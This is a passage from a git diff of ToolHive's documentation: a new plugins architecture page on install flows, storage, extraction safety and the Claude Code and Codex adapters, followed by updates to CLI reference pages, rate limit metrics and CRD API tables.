plugin name must match the OCI reference's + last path component (422 on mismatch — prevents accidental clobbering; not + publisher authenticity). +3. **Plain name**: local store → registry lookup → 404 with install hint. + +After resolving the artifact, `installWithExtraction` resolves target clients, +acquires the per-plugin lock, calls each client's `MaterializationAdapter`, +builds the `InstalledPlugin` record, persists it (Create/Update with +upgrade-digest/same-digest-new-clients branches), and registers the plugin in +its group. Failure rolls back already-materialized clients. + +### 4. Uninstallation + +`pluginsvc.Uninstall` calls `Dematerialize` per client (best-effort, +`errors.Join`), deletes the store record, and removes the plugin from all +groups. Idempotent. + +### 5. Info + +`pluginsvc.Info` returns metadata + the install record + two computed fields: +- `UnmaterializedComponents` — per client, component types the plugin declares + that the adapter does NOT load (static diff of `Components` vs + `SupportedComponents`). +- `ProjectScopeDegradedClients` — clients for which a project-scope install + degraded (recomputed from scope + `DegradesOnProjectScope`). + +## Git-Based Plugin Resolution + +The git resolver reuses `pkg/skills/gitresolver`'s skill-agnostic helpers +(`ParseGitReference`, `IsGitReference`, `ResolveAuth`, `WriteFiles`, +`CloneConfigForRef`, `ClientForURL`) but does NOT call `Resolver.Resolve` — +that method is skill-specific (reads `SKILL.md`). Instead, +`pluginsvc.installFromGit` clones directly, reads the plugin manifest, and +collects the whole subtree (a plugin is multi-component, not a single file). + +A **name/repo consistency check** (mirroring the OCI check) enforces that the +declared manifest name matches the name implied by the git reference — the +subdir's last segment when `#subdir` is present, else the repo's last segment +(422 on mismatch). When collecting files, the executable bit committed in the +repo is **preserved** (rather than forcing 0644) so hook scripts keep `+x`. + +## Storage + +`pkg/storage/sqlite/plugin_store.go` — `installed_plugins` + +`plugin_dependencies` tables (migration 002). Reuses the `entries` table's +`UNIQUE(entry_type, name)` with `entry_type = "plugin"`. The +`PluginStore` interface has Create/Get/List/Update/Delete + dependency methods. + +## Group Integration + +`groups.Group` carries a `Plugins []string` field (mirrors `Skills`). +`groups.AddPluginToGroup` / `groups.RemovePluginFromAllGroups` are line-for-line +ports of the skills analogues. + +## Security Model + +### Archive Extraction Safety + +Both adapters delegate to `skills.Installer.Extract`, which enforces: +decompression bomb limits, per-file size/count caps, symlink/hardlink rejection, +pre-extraction `ValidatePathNoSymlinks`, post-extraction `CheckFilesystem`, and +prefix-containment on every written file. + +### Path Construction + +`ClientManager.GetPluginPath` validates the plugin name (kebab-case, no `..`) +before `filepath.Join` — neither `clientType` nor `pluginName` can escape the +home/project dir. + +### Marketplace registration (Codex) + +The Codex adapter follows Codex's marketplace model. Codex discovers +marketplaces at a fixed set of paths, including the personal +`~/.agents/plugins/marketplace.json` and the per-repo +`$REPO_ROOT/.agents/plugins/marketplace.json`. The adapter extracts each +plugin's source under that marketplace root, namespaced by the marketplace name +(`/toolhive/`), and maintains the `marketplace.json` so Codex can +discover it. The manifest has a top-level `name` and a `plugins` array; each +entry has a `local` `source.path` that is **relative to the marketplace root** +and starts with `./` (`./toolhive/`), plus the required `policy` and +`category` fields. Writes use `fileutils.WithFileLock` + `AtomicWriteFile`, and +the plugin name is validated (no traversal) by `GetPluginPath` before use. +`Dematerialize` removes the plugin's source directory and its `plugins` array +entry, deleting the manifest when no plugins remain. + +#### Codex load step (manual, by design) + +Unlike Claude Code, ToolHive does **not** fully automate Codex plugin loading, +and this is deliberate: + +- **No `config.toml` mutation.** Codex's `[plugins."@"]` + `enabled` key is only an on/off toggle for an *already-installed* plugin; + setting `enabled = true` for a plugin that was never installed does not load + it, and writing to the user's shared `config.toml` has blast radius for no + benefit. The adapter leaves `config.toml` untouched. +- **No shelling out.** Loading a Codex plugin requires an explicit install + (`codex plugin install @toolhive`), which is a CLI action. ToolHive + never invokes client binaries to mutate their state (every other client + integration is file-based config editing), so the adapter does not shell out + to `codex`. + +Instead, ToolHive lays down the plugin source and a discoverable +`marketplace.json`, and the user completes loading with a one-time: + +```bash +# The personal marketplace at ~/.agents/plugins is auto-discovered; if needed: +codex plugin marketplace add ~/.agents/plugins +codex plugin install @toolhive +``` + +Automating this (e.g. a dedicated integration that drives the Codex install flow +without shelling out) is tracked as a follow-up. + +### settings.json Mutation (Claude Code) + +The Claude Code adapter mutates `~/.claude/settings.json` (or the project +`/.claude/settings.json`) under `fileutils.WithFileLock`. It adds +`enabledPlugins["@toolhive"]` and an `extraKnownMarketplaces.toolhive` +entry whose `source` is a `directory` source pointing at the **plugins root** +(the directory containing all installed plugins), not the per-plugin directory. +A single shared `marketplace.json` lives at `/.claude-plugin/marketplace.json` +with the required top-level `name`/`owner` fields and a `plugins` array; each +plugin is one entry with a `source: "./"` path resolved against the +marketplace root. `upsert`/`remove` keep that array in sync as plugins are +installed and uninstalled, so a non-LIFO uninstall cannot invalidate the shared +marketplace path. `Dematerialize` removes the plugin from the `plugins` array +(deleting the manifest and its `.claude-plugin` dir when empty), reverts its own +`enabledPlugins` additions, and drops `extraKnownMarketplaces.toolhive` only when +no remaining `@toolhive` plugins are enabled. + +### Name/Repo Consistency + +The OCI install path rejects artifacts whose declared name doesn't match the +reference's repository last segment. This is a consistency check, not publisher +authenticity — `pluginConfig.Name` is self-declared. Signature verification is a +separate concern. + +### Git Clone Bounds + +The git client wraps both worktree and storer in `LimitedFs` (100MB total, +10k files), bounding the in-memory clone. + +## Dependency on toolhive-core + +The OCI plugin layer (`ociplugins.Store`, `PluginPackager`, `RegistryClient`, +`PluginConfig`, `ComponentInventory`) comes from +`github.com/stacklok/toolhive-core/oci/plugins`, mirroring how skills uses +`toolhive-core/oci/skills`. + +## Key Files + +| File | Purpose | +|---|---| +| `pkg/plugins/adapter.go` | `MaterializationAdapter` interface | +| `pkg/plugins/types.go` | `InstalledPlugin`, `PluginMetadata`, `ComponentInventory` | +| `pkg/plugins/options.go` | `InstallOptions`/`InstallResult`/`PluginInfo` etc. | +| `pkg/plugins/service.go` | `PluginService` interface | +| `pkg/plugins/pluginsvc/service.go` | concrete `service` + `With*` options + `pluginLock` | +| `pkg/plugins/pluginsvc/install.go` | Install dispatch | +| `pkg/plugins/pluginsvc/install_oci.go` | OCI pull + name/repo check | +| `pkg/plugins/pluginsvc/install_git.go` | git clone + manifest read | +| `pkg/plugins/pluginsvc/install_extraction.go` | shared materialize + persist core | +| `pkg/plugins/pluginsvc/list.go` / `info.go` / `uninstall.go` | lifecycle methods | +| `pkg/plugins/adapters/claudecode.go` | Claude Code adapter (FS + settings.json mutation) | +| `pkg/plugins/adapters/codex.go` | Codex adapter (FS + TOML) | +| `pkg/storage/sqlite/plugin_store.go` | SQLite store | +| `pkg/groups/plugins.go` | group membership | +| `pkg/client/plugins.go` | client metadata + path resolution | + +## Related Documentation + +- [Skills System](12-skills-system.md) - Sibling distribution system (OCI artifacts, multi-client install, build/publish/install lifecycle) +- [Registry System](06-registry-system.md) - Registry-name resolution in the install dispatch chain +- [Groups](07-groups.md) - Plugin group membership (`pkg/groups/plugins.go`) +- [Core Concepts](02-core-concepts.md) - Platform terminology diff --git a/docs/arch/README.md b/docs/arch/README.md index 2ae4a69657..e590eee6b2 100644 --- a/docs/arch/README.md +++ b/docs/arch/README.md @@ -113,6 +113,13 @@ Welcome to the ToolHive architecture documentation. This directory contains comp - Compatibility guarantees and semver-aligned deprecation policy - Guidance for downstream embedders on pinning and upgrading +14. **[Plugins System](14-plugins-system.md)** + - Plugin manifest format (`.claude-plugin/plugin.json`) and OCI artifact layout + - Install dispatch (git → OCI → registry name) and the per-plugin lock + - `MaterializationAdapter` seam: Claude Code (pure FS) vs Codex (FS + TOML) + - Component inventory and per-client dropped-component warnings + - Name/repo consistency check, extraction safety, TOML mutation under file lock + ### Existing Documentation For middleware architecture, see: **[docs/middleware.md](../middleware.md)** @@ -160,6 +167,7 @@ graph TB subgraph "Agent Skills" Skills[12: Skills System
Build, publish, install] + Plugins[14: Plugins System
MaterializationAdapter] end %% Navigation paths @@ -184,8 +192,10 @@ graph TB Groups --> Workloads Groups --> vMCP Groups --> Skills + Groups --> Plugins Registry --> Skills + Registry --> Plugins Workloads --> Operator vMCP --> Operator @@ -337,7 +347,7 @@ RunConfig is part of ToolHive's API contract because: - Portable across deployments - Reproducible configurations -**Reference**: [Architecture Overview](00-overview.md#runconfig) +**Reference**: [RunConfig and Permissions](05-runconfig-and-permissions.md) ## Implementation Patterns diff --git a/docs/cli/thv_client_register.md b/docs/cli/thv_client_register.md index cb5e076cbc..0ce5cfeb50 100644 --- a/docs/cli/thv_client_register.md +++ b/docs/cli/thv_client_register.md @@ -19,10 +19,6 @@ Register a client for MCP server configuration. Valid clients: - amp-cli: Sourcegraph Amp CLI - - amp-cursor: Cursor Sourcegraph Amp extension - - amp-vscode: VS Code Sourcegraph Amp extension - - amp-vscode-insider: VS Code Insiders Sourcegraph Amp extension - - amp-windsurf: Windsurf Sourcegraph Amp extension - antigravity: Google Antigravity IDE - claude-code: Claude Code CLI - cline: VS Code Cline extension diff --git a/docs/cli/thv_client_remove.md b/docs/cli/thv_client_remove.md index 57480144a9..c5bb53a5e1 100644 --- a/docs/cli/thv_client_remove.md +++ b/docs/cli/thv_client_remove.md @@ -19,10 +19,6 @@ Remove a client from MCP server configuration. Valid clients: - amp-cli: Sourcegraph Amp CLI - - amp-cursor: Cursor Sourcegraph Amp extension - - amp-vscode: VS Code Sourcegraph Amp extension - - amp-vscode-insider: VS Code Insiders Sourcegraph Amp extension - - amp-windsurf: Windsurf Sourcegraph Amp extension - antigravity: Google Antigravity IDE - claude-code: Claude Code CLI - cline: VS Code Cline extension diff --git a/docs/cli/thv_llm_config_set.md b/docs/cli/thv_llm_config_set.md index 2d5a89afbc..c732df1cbd 100644 --- a/docs/cli/thv_llm_config_set.md +++ b/docs/cli/thv_llm_config_set.md @@ -31,11 +31,14 @@ thv llm config set [flags] ``` --audience string OIDC audience (optional) + --bedrock-compat Persist Bedrock compatibility for Claude Code (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 + per-tier Bedrock model IDs). Applied by "thv llm setup". Use --bedrock-compat=false to clear. --callback-port int OIDC callback port (omit to keep current; default: ephemeral) --client-id string OIDC client ID + --enable-1m With Bedrock compat, opt into the 1M context window by appending [1m] to opus/sonnet model IDs. --gateway-url string LLM gateway base URL (must use HTTPS) -h, --help help for set --issuer string OIDC issuer URL + --models strings Model IDs to persist and apply during "thv llm setup", comma-separated or by repeating the flag, e.g. --models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. Credential-helper clients (Claude Desktop) write these as inferenceModels; with Bedrock compat, each ID is also mapped to a Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only; use --tls-skip-verify=false to clear) ``` diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index 926266ec41..c2c0e50d45 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -15,12 +15,26 @@ Configure detected AI tools to use the LLM gateway ### Synopsis -Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. +Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop, Codex) and patch each tool's configuration to route through the +LLM gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + +Codex CLI and the ChatGPT desktop app use the same user configuration: +~/.codex/config.toml by default, or %USERPROFILE%\.codex\config.toml on Windows. +ToolHive adds a custom model_provider whose auth command invokes "thv llm token" +directly (no shell), keeping existing model_providers and mcp_servers entries +untouched. Desktop app detection is supported on macOS and Windows; the canonical +--client target remains "codex". If the desktop app is running, fully quit and +reopen it after setup. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -31,6 +45,16 @@ Inline flags (--gateway-url, --issuer, --client-id, etc.) are applied for this run and persisted to config only after login and tool patching succeed. This lets you combine "config set" and "setup" into a single command. +For a gateway that forwards to AWS Bedrock, add --bedrock-compat to configure +Claude Code with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and per-tier Bedrock +model IDs (override with --models; add --enable-1m for the 1M context window on +opus/sonnet). The setting is persisted and only affects Claude Code. To add it to +an already-configured Claude Code, re-run: + + thv llm setup --client claude-code --bedrock-compat + +Re-running is idempotent and uses the cached token (no browser prompt). + Run "thv llm teardown" to revert all changes. ``` @@ -42,13 +66,16 @@ thv llm setup [flags] ``` --anthropic-path-prefix string Path prefix appended to the gateway URL when writing ANTHROPIC_BASE_URL for direct-mode tools (e.g. /anthropic). When omitted, the gateway is probed automatically. --audience string OIDC audience (optional) + --bedrock-compat Configure Claude Code for a gateway that forwards to AWS Bedrock: write CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects the experimental anthropic-beta headers) and pin per-tier Bedrock model IDs (override with --models). Persisted, so a later plain "thv llm setup" keeps it; clear with --bedrock-compat=false. Only affects Claude Code. --callback-port int OIDC callback port (omit to keep current; default: ephemeral) - --client string Configure only this AI tool by name (e.g. claude-code, cursor). Omit to configure all detected tools. + --client string Configure only this AI tool by name (e.g. claude-code, cursor, codex). Omit to configure all detected tools. --client-id string OIDC client ID + --enable-1m With --bedrock-compat, append the [1m] suffix to the opus and sonnet model IDs to opt into the 1M-token context window on Bedrock (never haiku, which is 200K). Off by default. --gateway-url string LLM gateway base URL (must use HTTPS) -h, --help help for setup --issuer string OIDC issuer URL --lazy Skip the interactive OIDC login and defer it until the first time a configured tool accesses the gateway. Tool config and persisted settings are written normally. Useful for unattended provisioning (e.g. an MDM profile). + --models strings Model IDs to configure, comma-separated or by repeating the flag, e.g. --models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. For credential-helper clients (Claude Desktop) these become inferenceModels. With --bedrock-compat, each ID is also mapped to a Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID (IDs matching no tier are ignored with a warning). Omit to use the built-in Bedrock defaults / gateway model discovery. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --skip-browser Print the OIDC authorization URL instead of opening a browser, then wait for the callback. Use in headless/SSH/CI environments where no system browser is available. --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only). For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, disabling TLS for ALL of that tool's outbound connections. For proxy-mode tools only the proxy-to-gateway connection is affected. diff --git a/docs/cli/thv_run.md b/docs/cli/thv_run.md index b3f5d7aae4..8a7fb8ecc7 100644 --- a/docs/cli/thv_run.md +++ b/docs/cli/thv_run.md @@ -111,7 +111,7 @@ thv run [flags] SERVER_OR_IMAGE_OR_PROTOCOL [-- ARGS...] ### Options ``` - --allow-docker-gateway Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. + --allow-docker-gateway Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. Gateway access is port-independent: it ignores the permission profile's allowed ports, so once enabled the gateway is reachable on any port. --allowed-origins stringArray Exact-match allowlist for the HTTP Origin header (repeatable). Recommended when binding publicly; loopback binds derive a default allowlist automatically, non-loopback binds log a warning when no value is supplied. Example: https://my-mcp.example.com --audit-config string Path to the audit configuration file --authz-config string Path to the authorization configuration file diff --git a/docs/observability.md b/docs/observability.md index 4f48062e4b..5dc1543cbc 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -13,6 +13,10 @@ setting up and using these features, see the ToolHive documentation: - [CLI guide](https://docs.stacklok.com/toolhive/guides-cli/telemetry-and-metrics), including how to enable and configure telemetry and send to common backends +To run a complete local observability stack (Prometheus, Grafana, and the +OpenTelemetry Collector) for testing this instrumentation, see the +[OpenTelemetry example stack](../examples/otel/README.md). + For migrating from legacy attribute names to the new OTEL MCP semantic conventions, see the [Telemetry Migration Guide](./telemetry-migration-guide.md). @@ -30,7 +34,7 @@ operations through: 4. **Protocol-aware instrumentation**: MCP-specific insights beyond generic HTTP metrics -See [the original design document](./proposals/otel-integration-proposal.md) for +See [the original design document](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0001-otel-integration-proposal.md) for more details on the design and goals of this observability architecture. ## Architecture @@ -159,7 +163,7 @@ spec: serviceName: my-server # unique per server ``` -See [`examples/operator/mcp-servers/mcpserver_fetch_otel.yaml`](./examples/operator/mcp-servers/mcpserver_fetch_otel.yaml) +See [`examples/operator/mcp-servers/mcpserver_fetch_otel.yaml`](../examples/operator/mcp-servers/mcpserver_fetch_otel.yaml) for a complete example. **Inline (deprecated)**: The inline `spec.telemetry` (MCPServer, MCPRemoteProxy) @@ -248,6 +252,48 @@ Number of currently active MCP connections. | `transport` | string | Backend transport type | | `connection_type` | string | `"sse"` (only present for SSE connections) | +### Rate Limit Metrics + +These metrics are emitted for Redis-backed rate limit checks used by MCPServer +and VirtualMCPServer. Prometheus appends `_total` to counter names. The latency +histogram is exported with the `_seconds` unit suffix and the standard +`_bucket`, `_sum`, and `_count` series suffixes. + +#### `toolhive_rate_limit_decisions` (Counter) + +Total number of rate limit bucket decisions. An allowed request increments once +for every applicable bucket. A rejected request increments only for the first +bucket rejected by the atomic Redis check. Requests with no applicable bucket +do not increment this counter. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | +| `decision` | string | `"allowed"` or `"rejected"` | +| `scope` | string | `"shared"` or `"per_user"` | +| `operation_type` | string | `"server"` or `"tool"` | + +#### `toolhive_rate_limit_redis_errors` (Counter) + +Total number of Redis errors encountered while checking rate limits. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | +| `error_type` | string | `"timeout"`, `"connection"`, `"auth"`, or `"other"` | + +#### `toolhive_rate_limit_check_latency` (Histogram, seconds) + +Duration of each attempted atomic Redis Lua rate limit check, including failed +checks. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | + ## Span Attributes ### HTTP Attributes diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index 7fa0eda2df..52cfb9ae45 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -4,10 +4,12 @@ - [toolhive.stacklok.dev/audit](#toolhivestacklokdevaudit) - [toolhive.stacklok.dev/authtypes](#toolhivestacklokdevauthtypes) - [toolhive.stacklok.dev/config](#toolhivestacklokdevconfig) +- [toolhive.stacklok.dev/json](#toolhivestacklokdevjson) - [toolhive.stacklok.dev/ratelimit](#toolhivestacklokdevratelimit) - [toolhive.stacklok.dev/telemetry](#toolhivestacklokdevtelemetry) - [toolhive.stacklok.dev/v1alpha1](#toolhivestacklokdevv1alpha1) - [toolhive.stacklok.dev/v1beta1](#toolhivestacklokdevv1beta1) +- [toolhive.stacklok.dev/vmcp](#toolhivestacklokdevvmcp) ## toolhive.stacklok.dev/audit @@ -223,8 +225,8 @@ _Appears in:_ XAAConfig configures the XAA (Cross-Application Access) auth strategy. XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) as a two-step flow: - - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT - - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token @@ -233,19 +235,20 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). | | | -| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for Step A. | | | -| `idpClientSecret` _string_ | IDPClientSecret is the client secret at the IdP for Step A. | | | +| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693 exchange). | | | +| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for IdP exchange. | | | +| `idpClientSecret` _string_ | IDPClientSecret is the client secret at the IdP for IdP exchange. | | | | `idpClientSecretEnv` _string_ | IDPClientSecretEnv is the env var containing the IdP client secret. | | | -| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). | | | +| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for target grant (JWT Bearer grant). | | | | `insecureTargetTokenUrl` _boolean_ | InsecureTargetTokenURL allows plain HTTP for TargetTokenURL.
WARNING: this is insecure and must only be set for in-cluster or
development/testing endpoints — never in production. | | | -| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for Step B. | | | -| `targetClientSecret` _string_ | TargetClientSecret is the client secret at the target AS for Step B. | | | +| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for target grant. | | | +| `targetClientSecret` _string_ | TargetClientSecret is the client secret at the target AS for target grant. | | | | `targetClientSecretEnv` _string_ | TargetClientSecretEnv is the env var containing the target AS client secret. | | | | `targetAudience` _string_ | TargetAudience is the resource AS URL for the ID-JAG audience claim (required). | | | -| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL. | | | -| `scopes` _string array_ | Scopes are the requested scopes for Steps A and B. | | | +| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL. | | | +| `scopes` _string array_ | Scopes are the requested scopes for IdP exchange and target grant. | | | | `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
Auto-populated when embedded AS is active. | | | +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only
urn:ietf:params:oauth:token-type:id_token is accepted; the field exists
to allow future expansion to SAML upstreams without an API break. | | | @@ -358,7 +361,7 @@ _Appears in:_ | --- | --- | --- | --- | | `name` _string_ | Name is the workflow name (unique identifier). | | | | `description` _string_ | Description describes what the workflow does. | | | -| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Optional: \{\}
| +| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Type: object
Optional: \{\}
| | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum workflow execution time. | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
| | `steps` _[vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) array_ | Steps are the workflow steps to execute. | | | | `output` _[vmcp.config.OutputConfig](#vmcpconfigoutputconfig)_ | Output defines the structured output schema for this workflow.
If not specified, the workflow returns the last step's output (backward compatible). | | Optional: \{\}
| @@ -438,6 +441,29 @@ _Appears in:_ +#### vmcp.config.Duration + +_Underlying type:_ _Duration_ + +Duration is a wrapper around time.Duration that marshals/unmarshals as a duration string. +This ensures duration values are serialized as "30s", "1m", etc. instead of nanosecond integers. + +_Validation:_ +- Pattern: `^([0-9]+(\.[0-9]+)?(ns|us|µs|ms|s|m|h))+$` +- Type: string + +_Appears in:_ +- [vmcp.config.CircuitBreakerConfig](#vmcpconfigcircuitbreakerconfig) +- [vmcp.config.CodeModeConfig](#vmcpconfigcodemodeconfig) +- [vmcp.config.CompositeToolConfig](#vmcpconfigcompositetoolconfig) +- [vmcp.config.Config](#vmcpconfigconfig) +- [vmcp.config.FailureHandlingConfig](#vmcpconfigfailurehandlingconfig) +- [vmcp.config.OptimizerConfig](#vmcpconfigoptimizerconfig) +- [vmcp.config.StepErrorHandling](#vmcpconfigsteperrorhandling) +- [vmcp.config.TimeoutConfig](#vmcpconfigtimeoutconfig) +- [api.v1beta1.VirtualMCPCompositeToolDefinitionSpec](#apiv1beta1virtualmcpcompositetooldefinitionspec) +- [vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) + #### vmcp.config.ElicitationResponseConfig @@ -456,6 +482,8 @@ _Appears in:_ | `action` _string_ | Action defines the action to take when the user declines or cancels
- skip_remaining: Skip remaining steps in the workflow
- abort: Abort the entire workflow execution
- continue: Continue to the next step | abort | Enum: [skip_remaining abort continue]
Optional: \{\}
| + + #### vmcp.config.FailureHandlingConfig @@ -569,6 +597,7 @@ _Appears in:_ | `embeddingServiceTimeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | EmbeddingServiceTimeout is the HTTP request timeout for calls to the embedding service.
Defaults to 30s if not specified. | 30s | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
Optional: \{\}
| | `embeddingProvider` _string_ | EmbeddingProvider selects the wire protocol used to talk to the embedding
service. "tei" speaks the HuggingFace Text Embeddings Inference API;
"openai" speaks the OpenAI-compatible /embeddings API, which lets the
optimizer use OpenAI, Azure OpenAI, or another OpenAI-compatible gateway.
Defaults to "tei" when empty.
The "openai" provider reads EmbeddingService directly and cannot be combined
with EmbeddingServerRef, which provisions a managed TEI server; the operator
rejects that combination at admission. | tei | Enum: [tei openai]
Optional: \{\}
| | `embeddingModel` _string_ | EmbeddingModel is the model name requested from the embedding service
(e.g. "text-embedding-3-small"). Required when EmbeddingProvider is
"openai". Ignored for the "tei" provider, where the model is fixed by the
running TEI container.
The API key for an OpenAI-compatible service is not configured here: it is
read from the OPENAI_API_KEY environment variable so the secret never
lands in a CRD spec or ConfigMap. An empty key omits the Authorization
header, which supports keyless in-cluster gateways. | | Optional: \{\}
| +| `embeddingHeaders` _object (keys:string, values:[vmcp.config.EmbeddingHeaderValue](#vmcpconfigembeddingheadervalue))_ | EmbeddingHeaders holds additional HTTP headers sent with every embedding
request. Only supported when EmbeddingProvider is "openai". Values are
stored in plain text and must not contain secrets; Authorization
(derived from OPENAI_API_KEY) and Content-Type cannot be set. | | MaxProperties: 32
Optional: \{\}
| | `maxToolsToReturn` _integer_ | MaxToolsToReturn is the maximum number of tool results returned by a search query.
Defaults to 8 if not specified or zero. | | Maximum: 50
Minimum: 1
Optional: \{\}
| | `hybridSearchSemanticRatio` _string_ | HybridSearchSemanticRatio controls the balance between semantic (meaning-based)
and keyword search results. 0.0 = all keyword, 1.0 = all semantic.
Defaults to "0.5" if not specified or empty.
Serialized as a string because CRDs do not support float types portably. | | Pattern: `^([0-9]*[.])?[0-9]+$`
Optional: \{\}
| | `semanticDistanceThreshold` _string_ | SemanticDistanceThreshold is the maximum distance for semantic search results.
Results exceeding this threshold are filtered out from semantic search.
This threshold does not apply to keyword search.
Range: 0 = identical, 2 = completely unrelated.
Defaults to "1.0" if not specified or empty.
Serialized as a string because CRDs do not support float types portably. | | Pattern: `^([0-9]*[.])?[0-9]+$`
Optional: \{\}
| @@ -640,7 +669,7 @@ _Appears in:_ | `description` _string_ | Description is a human-readable description exposed to clients and models | | Optional: \{\}
| | `value` _string_ | Value is a template string for constructing the runtime value.
For object types, this can be a JSON string that will be deserialized.
Supports template syntax: \{\{.steps.step_id.output.field\}\}, \{\{.params.param_name\}\} | | Optional: \{\}
| | `properties` _object (keys:string, values:[vmcp.config.OutputProperty](#vmcpconfigoutputproperty))_ | Properties defines nested properties for object types.
Each nested property has full metadata (type, description, value/properties). | | Schemaless: \{\}
Type: object
Optional: \{\}
| -| `default` _[pkg.json.Any](#pkgjsonany)_ | Default is the fallback value if template expansion fails.
Type coercion is applied to match the declared Type. | | Schemaless: \{\}
Optional: \{\}
| +| `default` _[pkg.json.Any](#pkgjsonany)_ | Default is the fallback value if template expansion fails.
Type coercion is applied to match the declared Type. | | Schemaless: \{\}
Type: object
Optional: \{\}
